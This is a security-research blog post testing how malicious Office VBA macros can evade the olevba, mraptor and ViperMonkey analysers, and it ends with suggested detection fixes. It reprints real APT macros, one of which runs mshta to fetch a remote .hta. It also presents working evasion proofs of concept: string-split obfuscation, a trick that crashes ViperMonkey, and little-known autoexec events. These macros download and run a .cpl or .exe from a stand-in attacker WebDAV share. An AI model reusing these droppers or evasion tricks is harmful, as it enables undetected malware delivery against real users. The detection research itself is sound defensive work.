Read this page in English. | Leggi questa pagina in English.



  • Introduction
  • Tests scope
  • APT macro analyses
  • Observations
  • Tests carried out:
    • Bypassing CreateObject detection
    • Crafting our easy custom undetected obfuscation
    • Killing ViperMonkey
    • Undetected code execution methods/functions
    • Undetected methods/functions to get our malicious file
    • Undetected autoexec sub events
    • Results
  • Suggestions for improvement
  • Conclusions
  • About the author


One of the most common techniques for getting a foothold on a network client is based on  Office files containing a malicious VBA macro.
VBA macros are still widely used in a business context and, despite the mitigations offered by security vendors and Microsoft, it is still essential to detect evasion techniques in order to catch smart attackers.

On the attacker's side, there is plenty of public projects to setup, weaponize and obfuscate a macro while on the defenser's side there is a reasonable number of public projects, among the most famous projects to de-obfuscate and detect malicious VBA macro there are certainly  olevbaMacroRaptor and ViperMonkey. At Certego, we also use these tools to perform automatic static analysis of VBA macro.

Today we would like to share a test carried out last week on the resilience of public logic offered by olevba, mraptor and vipermonkey. These tests were even more motivated by some autoexec sub functions identified in the wild that were not detected by our implementation of olevba.

All the tests carried out are aimed at encouraging the red teams to test new bypass techniques and improving the detection of olevba, mraptor and vipermonkey public projects.

Tests scope

  • All tests were carried out on a fully patched Windows 10 client with last build and version.
  • Macro based PoCs must work with medium integrity level.
  • The tests carried out focus on the static analysis that can be performed by mraptor and olevba; in these tests we will consider out of scope the dynamic analysis from the point of view of a sandbox, an EDR and any ASR bypass.
  • During the tests, we decided to include vipermonkey vba emulator in the scope.
  • All the tests carried out start from the assumption that the latest versions of olevba, mraptor and vmonkey have been implemented out of the box.
  • Common users are not always able to complete certain tasks keeping all ASR rules enabled, for this reason we consider disabled at least the following rules:

APT macro analyses

There are many ways to obfuscate a VBA macro, but how much do I have to obfuscate my macro to completely evade the analyses of a prepared blue team? It is important to know the weak points of a VBA obfuscation/evasion technique in order to detect it.

We started by learning from public examples of high-level attacks, then by analyzing through the tools mentioned above some noteworthy APT macro samples.

We decided to report the following three examples:

1) 2019-06-06 gorodpavlodar.doc from APT28

APT28 is one of the groups with advanced  TTPs.

VBA code:

Private Sub Document_Open()
On Error Resume Next
Dim ds As String: ds = Environ("APPDATA") & "\graphic.doc"
Dim dd As String: dd = Environ("APPDATA") & tyihkcjfghkvb.dvxdcxxv.Caption & tyihkcjfghkvb.Label1.Caption & tyihkcjfghkvb.Label2.Caption
vbnbnm dd, drgvfdhre(tyihkcjfghkvb.dxvgfchftbxfh.Value)
vbnbnm ds, drgvfdhre(tyihkcjfghkvb.Text.Value)
Set qw = CreateObject("Word.Application")
qw.Visible = True
Set ww = qw.Documents.Open(ds)
Application.Quit SaveChanges:=wdDoNotSaveChanges
End Sub
Private Function drgvfdhre(tyruyt)
  Dim fghfhggjj, asddf
  Set fghfhggjj = CreateObject("Microsoft.XMLDOM")
  Set asddf = fghfhggjj.createElement("tmp")
  asddf.dataType = "bin.base64"
  asddf.Text = tyruyt
  drgvfdhre = asddf.nodeTypedValue
End Function
Private Sub vbnbnm(tgbyh, edcrf)
  Dim qsxx
  Set qsxx = CreateObject("ADODB.Stream")
  qsxx.Type = 1
  qsxx.Write edcrf
  qsxx.SaveToFile tgbyh, 2
End Sub
VBA MACRO tyihkcjfghkvb.frm 
in file: gorodpavlodar.doc - OLE stream: u'Macros/VBA/tyihkcjfghkvb'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
VBA FORM STRING IN 'gorodpavlodar.doc' - OLE stream: u'Macros/tyihkcjfghkvb/o'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

olevba result:

|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|ADODB.Stream        |May create a text file                       |
|Suspicious|SaveToFile          |May create a text file                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'z\x938\xea'        |7A9338EA                                     |
|Hex String|'\xcc\x13\x01*w\xe4'|CC13012A77E4                                 |
|Hex String|'\x8b\x80B\xc6'     |8B8042C6                                     |
|Hex String|'*c}\x8f\xddq'      |2A637D8FDD71                                 |
|Hex String|'\xaa\xaa\xea\xa8'  |AAAAEAA8                                     |
|Hex String|'\xaa\xaa\xaa\xaa'  |AAAAAAAA                                     |
|Hex String|'\xaa\xaa\xaa\xaa\xa|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA         |
|          |a\xaa\xaa\xaa\xaa\xa|                                             |
|          |a\xaa\xaa\xaa\xaa\xa|                                             |
|          |a\xaa\xaa\xaa'      |                                             |

2019-06-06 graphic.doc, document dropped from the previous sample and called through Word.Application COM.

VBA code:

Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Sub GetStartupInfo Lib "kernel32" Alias "GetStartupInfoA" (lpStartupInfo As STARTUPINFO)
Private Const SW_SHOWNORMAL             As Long = 1
Private Sub Document_Open()
On Error Resume Next
Dim fd As String: fd = Environ("APPDATA") & "\libssl.exe"
    si.cb = Len(si)
    Dim RetVal As Long
RetVal = CreateProcess(vbNullString, _
                       fd, _
                       ByVal 0, _
                       ByVal 0, _
                       False, _
                       ByVal 0, _
                       ByVal 0, _
                       vbNullString, _
                       si, _
End Sub

olevba result:

|Type      |Keyword             |Description                                  |
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |libssl[.]exe          |Executable file name                         |
|VBA string|%APPDATA%\libssl[.]exe|Environ("APPDATA") & "\libssl.exe"           |

2) 2016-11-09  election-headlines-FTE2016.docm from APT29
The sample is a CDFV2 Encrypted with password 3209. password source

APT29 is one of the groups with advanced TTPs

VBA code:

VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
VBA MACRO Class1.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/Class1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim cpeziw As Integer
Public WithEvents dgnfyvv As Word.Application
Attribute dgnfyvv.VB_VarHelpID = -1
Private Sub dgnfyvv_DocumentBeforeClose(ByVal hatxzkt As Document, kzcwwyys As Boolean)
If cpeziw > (6 - 6) Then Exit Sub
cpeziw = cpeziw + (-20 + 21)
Dim yemsa
Dim bnekl
bnekl = Array()
jkxaixhdd bnekl
yemsa = pnczyqlyg(bnekl)
Dim akhgttupb
Set akhgttupb = CreateObject("Scripting.FileSystemObject")
Dim mquxrl: Set mquxrl = CreateObject("WScript.Shell")
Dim wgmwu
On Error Resume Next
 Dim gykhijge As String
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array((173 - 74), 7, (24 - 2), (111 - 89), 2, (63 - 56), (-54 + 72), (98 - 91), (163 - 64), (122 - _
96), 14, (38 - 16), (79 - 53), (107 - 75), (113 - 50), (24 + 25), 46, 62, 104, (130 - 96), 42, 42), (161 - 91)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (7 - 7) Then GoTo byxpnqfms
xfapig (gykhijge)
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (3 - 3) Then GoTo byxpnqfms
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array(208, 180, (262 - 97), (85 + 80), (81 + 96), 180, (155 + 6), (173 + 7), 208, (221 - 52), ( _
126 + 21), 140, 130, (234 - 77), (188 - 47), (216 + 3), (150 - 5), (155 - 2), (53 + 100)), (170 + 75)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number = (9 - 9) Then GoTo byxpnqfms
gykhijge = hwsoumwi(mquxrl, qnvhsqbdw(Array((211 + 43), (143 - 0), 158, 150, 139, (165 + 89), (120 + 15), (210 - 21), (127 + 35), (124 _
+ 48), (146 + 33), (221 - 58), (317 - 72), (107 + 84), (234 - 51), (260 - 77)), (175 + 44)))
Set wgmwu = akhgttupb.CreateTextFile(gykhijge)
If Err.Number <> (5 - 5) Then Exit Sub
wgmwu.Write yemsa
mqcum akhgttupb, gykhijge
jumbyvq = mlkgfrlz(mquxrl, qnvhsqbdw(Array((113 + 54), 160, 187, 177, (205 - 20), (160 + 25), (156 + 74), (235 - 4), (262 - 11), (234 _
- 58), (150 + 23), 176, (152 + 93)), 213) + Chr((-4 + 38)) + gykhijge + Chr((31 + 3)) + qnvhsqbdw(Array(155, (126 + 25), (231 - 83), 133 _
), 183))
End Sub
VBA MACRO Module1.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim cameayf As New Class1
Function bbeuoxdt()
Set lmjbbjjyv = GetObject(qnvhsqbdw(Array((170 - 92), (15 + 65), (40 + 47), 84, 94, (8 + 76), 77, (157 - 83), (30 - 27), (29 + 72), 101 _
, (1 + 22), (25 + 76), (28 + 79), (44 + 42), (139 - 53), (16 + 61), (95 + 6), (159 - 37), 112, (45 + 71), (192 - 81), (89 - 78)), (106 - 49)))
hwponld = (6 - 6)
Set xrpirnkm = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((219 + 34), 235, (163 + 63), (155 + 80), (147 + 90), (230 + 20), (147 - 5), (216 - 84 _
), (234 - 92), (291 - 59), (286 - 34), 225, 227, 142, (309 - 60), (110 + 89), (255 - 63), (165 - 8), 156, (143 + 98), (304 - 68), (156 + 75), _
 (282 - 57), (261 - 8)), 174))
For Each bnekl In xrpirnkm
rbnoksujy = LCase(bnekl.SMBIOSBIOSVersion)
If InStr(rbnoksujy, qnvhsqbdw(Array((83 - 12), 88, (39 + 28), (32 + 37), 68, (133 - 53), (50 + 43), (107 - 24), 94, 73), (32 + 17))) > _
(9 - 9) Or InStr(rbnoksujy, qnvhsqbdw(Array(27, (4 - 4), (121 - 95), (70 - 58), (59 - 28), (46 - 38)), 109)) > (7 - 7) Then
hwponld = hwponld + 5
End If
rbnoksujy = LCase(bnekl.SerialNumber)
If InStr(rbnoksujy, qnvhsqbdw(Array(152, (194 - 63), (54 + 99), (130 + 13), (144 + 12), 139), (314 - 76))) > (8 - 8) Then hwponld = hwponld _
 + (-29 + 34)
Set xrpirnkm = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((168 + 47), 193, 200, (238 - 45), 199, (184 + 24), (129 + 35), (143 + 31), (164 - _
0), (189 + 5), (201 + 13), 203, (113 + 88), (72 + 92), 211, (178 + 59), (297 - 63), (108 + 75), 182, 219, 212, (331 - 97), (187 + 25), (207 _
- 14), (334 - 100), (220 + 20), (336 - 99), (266 - 26), (203 + 50)), (48 + 84)))
For Each bnekl In xrpirnkm
If InStr(bnekl.DeviceId, qnvhsqbdw(Array((181 - 15), 181, (130 + 61), (88 + 82), 160, (99 + 80), 184, (140 + 29), (124 + 82), (298 - 100 _
), (126 + 53), (275 - 96), (154 + 54), (101 + 77), (197 - 18), (257 - 97), (134 + 35), 181, (217 - 34), (201 - 25), 179), 246)) > (6 - 6) Then _
 hwponld = hwponld + (100 - 98)
If hwponld > (43 - 38) Then GoTo ppgevuijh
obvrb = Array(qnvhsqbdw(Array(188, (262 - 76), (83 + 89), (218 - 31)), (212 - 11)), qnvhsqbdw(Array((20 + 6), (28 + 3), (-1 + 23), (-63 _
+ 81), 21), 123), qnvhsqbdw(Array((256 - 49), (203 - 1), (110 + 85), (272 - 73), 192, 199, (170 + 51), 218, (298 - 78), (110 + 97), (173 _
+ 45), (272 - 79), (225 - 5)), (254 - 80)), qnvhsqbdw(Array((176 + 24), 206, (223 - 7), (221 - 14), (117 + 23)), (113 + 76)))
Set dvbjs = lmjbbjjyv.ExecQuery(qnvhsqbdw(Array((134 + 61), 245, (200 + 52), (242 + 3), (243 - 0), (286 - 58), (226 - 50), (162 + 24), _
(110 + 66), 246, (259 - 33), (347 - 92), 253, (268 - 92), 199, 249, (264 - 10), (68 + 95), (122 + 40), (118 + 89), (225 - 14), (327 - 72), (243 _
+ 10), (148 + 76), (159 + 70), (146 + 82), (226 + 19), 226, 195, (313 - 80), (134 + 93), 228, 245, (236 + 17)), (228 - 84)))
Function hwsoumwi(hhcwpimxz, bsgwg)
hwsoumwi = hhcwpimxz.ExpandEnvironmentStrings(bsgwg)
End Function
Function mlkgfrlz(hhcwpimxz, bsgwg)
mlkgfrlz = hhcwpimxz.Exec(bsgwg)
End Function
Sub mqcum(akhgttupb, hlrcv)
Dim lrbhlz As Integer
trcyseku = 624100
bmujpcxp = (8280 - 88)
lrbhlz = (39 - 27)
hsgqw = hlrcv
Close lrbhlz
Open ActiveDocument.FullName For Binary Access Read As lrbhlz
efoldymy = oiwvfvbtm(lrbhlz)
If efoldymy < (-61 + 62) Then Exit Sub
sorgd = qnvhsqbdw(Array((279 - 36), (174 + 12), (238 - 68), (107 + 54), (228 - 56), (200 - 36), (201 - 33), (164 + 22)), (125 + 76))
If Mid(sorgd, (23 - 22), (-68 + 69)) <> qnvhsqbdw(Array(71), (220 - 95)) Then
tqftb = InStrRev(hlrcv, qnvhsqbdw(Array((-8 + 78)), 26))
hsgqw = Mid(hlrcv, (15 - 14), tqftb)
End If
hsgqw = hsgqw & sorgd
Dim tvpgfk As String
tvpgfk = Space(bmujpcxp)
Seek lrbhlz, efoldymy
Set rpcinodml = akhgttupb.CreateTextFile(hsgqw)
Do While trcyseku > (8 - 8)
If bmujpcxp > trcyseku Then tvpgfk = Space(trcyseku)
Get lrbhlz, , tvpgfk
rpcinodml.Write tvpgfk
trcyseku = trcyseku - bmujpcxp
Close lrbhlz
End Sub
Sub AutoOpen()
End Sub
Public Function qnvhsqbdw(fdcacal As Variant, hssufj As Integer)
Dim rbnoksujy, uijtvyc
rbnoksujy = ""
uijtvyc = (7 - 7)
While uijtvyc < UBound(fdcacal) + 1
dqssgod = fdcacal(uijtvyc) Xor hssufj
rbnoksujy = rbnoksujy + Chr(dqssgod)
uijtvyc = uijtvyc + 1
qnvhsqbdw = rbnoksujy
End Function

olevba result:

|Type      |Keyword             |Description                                  |
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|CreateTextFile      |May create a text file                       |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|WScript.Shell       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Open                |May open a file                              |
|Suspicious|MkDir               |May create a directory                       |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Binary              |May read or write a binary file (if combined |
|          |                    |with Open)                                   |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\xfc\xfb=*'        |FCFB3D2A                                     |
|Hex String|'\x08\x00+3q\xb5'   |08002B3371B5                                 |

3) 2020-03-03  비건미국무부부장관서신20200302.doc from Kimsuky APT

One of the more recent APT macro.

VBA code:

VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Const vouxaweiky = 0
Private Function ibgcqjqcesdb(ByVal nszemdxvjgig As String) As String
Dim crvueaktrvsw As Long
For crvueaktrvsw = 1 To Len(nszemdxvjgig) Step 2
ibgcqjqcesdb = ibgcqjqcesdb & Chr$(Val("&H" & Mid$(nszemdxvjgig, crvueaktrvsw, 2)))
Next crvueaktrvsw
End Function
Sub bgdrkwewidjuilxpmyaz(hhacncliysnlfvsph As String)
With CreateObject(ibgcqjqcesdb("57536372697074") & ibgcqjqcesdb("2e5368656c6c"))
.Exec (hhacncliysnlfvsph)
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
End With
Content = ibgcqjqcesdb("6d7368746120687474703a2f2f6e68707572756d792e6d697265656e652e636f6d2f7468656d652f62617369632f736b696e") & ibgcqjqcesdb("2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
bgdrkwewidjuilxpmyaz (Content)
End Sub

olevba result:

|Type      |Keyword             |Description                                  |
|AutoExec  |AutoOpen            |Runs when the Word document is opened        |
|Suspicious|Exec                |May run an executable file or a system       |
|          |                    |command using Excel 4 Macros (XLM/XLF)       |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command (obfuscation: Hex)                   |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |http://nhpurumy[.]mire|URL (obfuscation: Hex)                       |
|          ||                                             |
|          |skin                |                                             |
|IOC       |search.hta          |Executable file name (obfuscation: Hex)      |
|Hex String|WScript             |57536372697074                               |
|Hex String|.Shell              |2e5368656c6c                                 |
|Hex String|mshta <a href="http://nhpurum|6d7368746120687474703a2f2f6e68707572756d792e6|">http://nhpurum|6d7368746120687474703a2f2f6e687075...</a>
|          |y.mireene[.]com/theme/|d697265656e652e636f6d2f7468656d652f6261736963|
|          |basic/skin          |2f736b696e                                   |
|Hex String|/member/basic/upload|2f6d656d6265722f62617369632f75706c6f61642f736|
|          |/search.hta /f      |5617263682e687461202f66                      |


We have observed that:

  • Some useful functions to obfuscate our macro are used to detect it. Ex: Evilclippy tricks like VBA stomping/pcode obfuscation are currently detected by olevba.
  • There is no known way to obfuscate Sub Events, like AutoExec.
  • There is no known way to obfuscate functions and methods.
  • There are many examples of APT macros that prefer to leave the macro in plain text rather than obfuscate it through a well known technique or suspicious functions.
  • Spotting Win32 Windows API through the Lib Declare Statement is trivial and in some contexts blue teams are beginning to block them through ASR.
  • We also identified the following technical details related to the detection of the examined tools :
    • Obfuscation performed through the Mid and the Array functions is not detected by the examined tools. There are plenty of ways to obfuscate the code and it does not seem worth detecting them all through a static approach.
    • ExecQuery and other dangerous WMI methods to perform code execution like Create are not detected by the examined tools.
    • ExpandEnvironmentStrings method of WScript.Shell Object is an Environ alternative to retrieve environment variables which not trigger by the examined tools:

      Dim mquxrl: Set objShell = CreateObject("WScript.Shell")    a = objShell.ExpandEnvironmentStrings("%TEMP%")
      MsgBox a
      Other undetected alternatives could be:
  • In the common implementations of these tools some hits are systematically discarded to avoid false positives. Hex string detection in olevba is an example.

    However, in well-managed infrastructures, it is possible to research some mandatory subroutines, methods and functions to systematically detect macros through a static approach, and to engaging an analyst.

Tests carried out

Starting from these osservations we have tried to build at least one PoC that performs 0 hits on olevba and a "macro ok" result in mraptor.

These are three minimum requirements for getting a foothold through a VBA macro:

  1. An Autoexec Sub Event to trigger our macro.
  2. A code execution method/function
  3. Except for some trivial cases, you will normally need at least a COM/OLE/ActiveX Object, so you need to call at least one function like CreateObject.

Bypassing CreateObject detection

Even if performing alerting only on CreateObject is pretty impossible due to FP, it is possible to avoid this hit in some scenarios through  GetObject.

At the time of writing, GetObject is not reported as a suspicious function by olevba.

GetObject is used to attach to a running instance of an automation server.

Some automation servers have a running instance by default. Using one of these objects, it is possible to use GetObject, avoiding the call to CreateObject at all. See: differences between GetObject and CreateObject.

For these tests we decided to start with one of the most common objects with a default instance: Shell.Application.

Crafting our easy custom undetected obfuscation

After a first look we decided to use the  CLSID avoid Shell.Application pattern match detection. 

Here is how to easily get Shell.Application CLSID through powershell:

Get-ChildItem REGISTRY::HKEY_CLASSES_ROOT\CLSID -Include PROGID -Recurse | where {$_.GetValue("") -match "Shell\.Application" }

So instead of:


We used:


However the string was detected in a heuristic way by exchanging the CLSID with a hex string.

As mentioned above, it is a olevba hit that makes tons of FPs like this. 

Despite this fact, we still tried to obfuscate this string creating our own obfuscation technique. It would also come in handy later to obfuscate our exploit.

After some research we discovered that adding chunks of strings to a variable containing an empty string prevents olevba from detecting and deobfuscating the string:

lw = ""
Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")

Note: without using a variable olevba detects the technique.

Killing ViperMonkey

After a quick test, we realized that  ViperMonkey is able to decode our obfuscation method.

ViperMonkey is a VBA Emulation engine written in Python, designed to analyze and deobfuscate malicious VBA Macros contained in Microsoft Office files (Word, Excel, PowerPoint, Publisher, etc).

Despite being a big project, ViperMonkey is a experimental emulator, developers who integrate it into their platform are used to handling considerable number of crashes with legitimate macros, ergo seeing a ViperMonkey crash is not suspicious at all.

To crash vmonkey you need to find some VBA code accepted by our office program that crashes the vmonkey parser.

After some fuzzing we have identified the following simple code:

Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Document_Open()
    lw = ""
    msgbox "No" & lw & "Vipe" & lw & "rMonke" & lw & "y here"
End Sub

A declaration of a function with at least one argument inside an if statement will do the job. Microsoft Word will successfully run the macro:

The vmonkey parser will fail:

Undetected code execution methods/functions

We started  digging into the documentation looking for unknown execution methods of Shell.Application Object

This is the section in the olevba code where the suspicious methods/functions list is defined by regex or keyword.

We have identified three interesting examples:

  1. InvokeVerb and InvokeVerbEx: dropping an executable and calling the verb "Open" it is possible to run it. As soon as I spotted these methods I tweeted them.
  2. DoIt: slightly more tricky but same concept of invokeverb.
  3. ControlPanelItem: by dropping a malicious .cpl into the current directory, it is possible to execute malicious code

While we were looking for undetected methods to perform code excecution, we have observed that, surprisingly, the   Create method of Win32_Process, retrievable only through GetObject, is not yet detected by olevba.

However, we decided to avoid it because it has been used in  many opportunistic campaigns and some custom implementations, such as ours, easily detect it.

All other interesting methods of WMI code execution, which are not detected by the analyzed tools, require a  high integrity level, which is out of scope.

Undetected methods/functions to get our malicious file

Since we have identified three methods to launch an executable without arguments, we need a function to get our malicious executables.

In order not to leave our executable embedded in the document we decided to download our sample remotely through an  UNC path

To achieve this task we decided to exploit  SMB redirector or WebDAV redirector, this is because it is not possible to map a UNC resource on a unit or link it with a medium integrity level.

Allowing outbound SMB traffic is a bad practice, so we decided to take advantage of  Webdav over SSL (HTTPS).

So we decided to exploit the  CopyHere Shell.Application method to download our executables via WebDav SSL.

During the tests we also found that:

We decided to avoid FileSystemObject because it didn't work through GetObject, even if it is not enough to detect our samples it was interestingly keeping us on the 0 hits..

Undetected autoexec sub events

This is the section in the olevba code where the autoexec list is defined by regex or keyword

Hunting for undetected autoexec sub event:

Docs/Office/VBA/Reference/<program>/Object model/<object>/Events/<eventname>

We have identified three interesting examples:

  1. Document_ContentControlOnEnter:  it triggers when a user "enters" a content control, there are several content controls that can easily attract a user click.
  2. Worksheet_FollowHyperlink: it triggers when a user clicks on a link inside a worksheet, the link can also point to a worksheet component.
  3. Worksheet_Calculate: "Occurs after the worksheet is recalculated for the Worksheet object", this autoexec sub event is the most interesting we have envied: by using a cell with a formula that points to itself, it is possible to perform an autoexec without user interaction. As shown in the gif of the next section a prompt is shown to the user but, whatever the answer is, the macro is still executed.


The outputs shown below are those of the following command:

 olevba --decode --reveal <doc> # 0.56dev6 on Python 2.7.17


No suspicious keyword or IOC found.
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.NameSpace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "" & lw & "SL\webd" & lw & "av_s\jtms.cp" & lw & "l")
    End If
    No.ControlPanelItem ("C:\\Windo" & lw & "ws\\Te" & lw & "mp\jtms.cp" & lw & "l")
End Sub


|Type      |Keyword             |Description                                  |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Worksheet_FollowHyperlink(ByVal Target As Hyperlink)
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.Namespace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "" & lw & "SL\webd" & lw & "av_s\ddd.ex" & lw & "e")
    End If
    Set NoF = No.Namespace("C:\Wind" & lw & "ows\te" & lw & "mp")
    Set Nof2 = NoF.Self.Verbs
    Set Item = NoF.ParseName("ddd.ex" & lw & "e")
    Item.InvokeVerbEx ("op" & lw & "en")
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

In this case the VB_Base attribute triggers olevba, olevba exchanges the GUID for a Hex String. This is a known and usually filtered false positive. For this reason we can safely consider this sample as one with 0 hits.


|Type      |Keyword             |Description                                  |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
Function Something()
End Function
If 1 <> 1 Then
    Function VMonkeyBoom(1 as Integer)
    End Function
End If
Private Sub Worksheet_Calculate()
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.Namespace("C:\windo" & lw & "ws\te" & lw & "mp")
    If Not oF Is Nothing Then
        oF.CopyHere ("\\theatta" & lw & "" & lw & "SL\webd" & lw & "av_s\ccc.ex" & lw & "e")
    End If
    Set PF = No.Namespace("C:\Windo" & lw & "ws\Te" & lw & "mp")
    Set TT = PF.ParseName("ccc.e" & lw & "xe")
    For Each Verb In TT.Verbs
           If "&Op" & lw & "en" = Verb.Name Then
           End If
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Also here as in the previous sample the hit is due to the VB_Base attribute.


For these tests only static analysis is significant, however these are the samples:




As you can see there are few known antivirus and only heuristic signatures.

Suggestions for improvement

In order to detect the techniques proposed through olevba / mraptor, it would be important to note the following:

The previous list was proposed on the public project through the following pull request:


  • We have shown that digging in the documentation and with a little fuzzing it is possible to craft a 0 hit macro.
  • Chaining these samples with an unknown sandbox detection check and esoteric COM objects could have really unpleasant effects.
  • Implementing an open-source out-of-the-box solution may not be enough to defend your infrastructure.
  • It is very important to carry out periodic internal tests on all the detection components of your platform.
  • Performing periodic internal tests on all the detection components of the platform could significantly increase the detection capacity of your platform.

About the author

Gabriele Pippi, Threat Research Lead Engineer ( Twitter)

                                                                                                                  Photo by Jr Korpa on Unsplash

Intel Owl è un progetto di Open Source Intelligence, o OSINT, che permette di ottenere dati di Threat Intelligence riguardanti uno specifico file, IP o dominio, usando una unica API scalabile e semplice da utilizzare. Intel Owl integra un buon numero di analizzatori disponibili online, ed è pensato per chiunque abbia bisogno di un singolo punto da cui ottenere informazioni riguardanti un determinato indicatore.

